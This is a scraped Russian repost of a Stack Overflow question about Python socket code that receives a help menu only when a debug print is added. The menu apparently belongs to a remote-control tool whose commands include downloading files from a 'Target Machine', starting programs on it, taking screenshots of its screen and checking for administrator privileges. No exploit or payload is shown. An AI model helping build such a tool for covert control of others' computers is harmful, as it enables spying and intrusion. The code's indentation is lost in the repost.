Код: Выделить всё
elif command=="help":
help_options='''
download
-> Download a File from Target Machine
upload -> Upload a File to Targe
get -> Download a File to Target Machine from Internet
start -> Start Program on Target Machine
screenshot -> Take screenshot of the Target Screen
check -> Check for Administrator Privileges
'''
lines=help_options.splitlines()
for line in lines:
send_payload(line.encode("utf-8"))
send_payload("END".encode("utf-8"))
< /code>
от клиента это то, как я получаю: < /p>
elif command=="help":
complete_message=""
while True:
line=receive_payload()
# ---- FIRST TRY FAILED
# if not line:
# time.sleep(0.01)
# continue
# --- SECOND TRY FAILED
# if not line:
# continue
# --- THIRD TRY FAILED ---
# time.sleep(0.01)
# ------- IT WORKS ONLY WITH THIS PRINT STATEMENT
# print(f"line {line}")
if line=="END":
break
if isinstance(line,bytes):
complete_message += line.decode('utf-8') + "\n"
else:
complete_message+=line+"\n"
print(complete_message)
< /code>
Я успешно получил текст по ошибке, когда добавил эту строку отладки < /p>
print(f"line {line}")
Код: Выделить всё
receive_payloadПодробнее здесь: https://stackoverflow.com/questions/793 ... -statement